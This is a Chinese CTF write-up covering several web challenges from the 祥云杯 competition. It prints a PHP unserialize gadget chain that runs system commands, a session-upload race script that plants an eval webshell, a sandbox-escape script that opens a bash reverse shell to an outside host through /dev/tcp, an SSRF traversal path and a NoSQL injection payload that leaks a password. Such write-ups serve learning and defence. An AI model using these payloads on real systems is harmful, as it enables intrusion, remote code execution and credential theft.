祥云杯web wp
ezyii
tc师傅光速找到链接 第四条链子可以用qaq。比赛期间临时把这文章删了可还行。看wm的wp还是人家师傅自己找的tql。
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected output;
privateprocesses = [];
public function __construct(){
this->processes[]=new DefaultGenerator(new AppendStream());this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected default;
public function __construct(default = null)
{
this->default =default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private streams = [];
privateseekable = true;
public function __construct(){
this->streams[]=new CachingStream();
}
}
final class CachingStream{
privateremoteStream;
public function __construct(){
this->remoteStream=new DefaultGenerator(false);this->stream=new PumpStream();
}
}
final class PumpStream{
private source;
privatesize=-10;
private buffer;
public function __construct(){this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
a = function(){system("cat /flag.txt");};a = \Opis\Closure\serialize(a);b = unserialize(a);this->source=$b;
}
}
}
//flag{2d71d2ff-f3d9-495f-b788-3199b60ff2cf}
加个base64就行了
安全检测
buu没有复现环境,在这里讲一下思路:
很明显是一个ssrf,在爆破的过程中发现报错回显存在file_get_contents,题目还ban了dict file啥的协议掩人耳目qwq(file-get_contents只支持http协议)。各种尝试大概知道后台的过滤函数是先进行判断是否包含”http”,匹配到了再进行传入。然后就想到了一个奇技淫巧可以读源码:
fxxk:/http://../../../../../../var/www/html/admin/include123.php
赛后很尴尬的看到有师傅直接扫到了/admin。。。我们刚开始忘了扫是真的憨还好后来扫了一下,存在/admin/include123.php,源码找不到了,去嫖个图贴这吧
这waf写的方式有点亲切。。。awd脚本里嫖来的吧。session条件竞争,贴个脚本
import io
import requests
import threading
def Write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 512)
session.post(url='url',
data={'PHP_SESSION_UPLOAD_PROGRESS': '111111111111111111111111111111111111111111111111111111111<?php phpinfo();file_put_contents("/tmp/1","<?php eval(base64_decode(\$_GET[1]));phpinfo();?>");?>'},
files={'file': ('Firebasky.txt',f)},
cookies={'PHPSESSID': 'Firebasky'})
if __name__=="__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,50):
threading.Thread(target=Write,args=(session,)).start()
层层穿透
比赛的时候环境稀碎 jar传了一万年都没传上。听说进内网用fastjson打的
crawler_z
考的是zombie注入漏洞:zombie使用vm库,在解析js和html的时候进行了调用。
本题的漏洞点在goto的visit上:
我们先进行用户注册,在更新信息界面传一个正常的bucket值并且抓包,因为后台存在302跳转,我们先不放行,然后传入我们在vps构造的包含沙箱逃逸代码的url,放行抓的包,就能进行绕过。但是我们传入的url要满足另一个条件如下图:
随便在请求url的时候传一个值?a=oss-cn-bejing.ichunqiu.com就能进行绕过。
我们在服务区上创建一个test.html,包含脚本如下:
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>
然后访问/user/bucket,服务器接收到shell。(记得监听
PackageManager2021
上了ts脚本可还行。。。比赛的时候花了一个小时去看了ts的官方文档,啥信息也没搞到。。
在index.ts文件中,auth路由直接进行了数据库拼接操作,存在nosql注入
先注册一个用户,然后在/auth这个路由中传入我们的注入语句。看到天璇的师傅用的盲注,wm的师傅直接用了js的特性语法:
try{
查询
}catch($a){
抛出异常
}
payload如下:
e10adc3949ba59abbe56e057f20f883e" || (()=>{throw Error(this.password)})() == "admin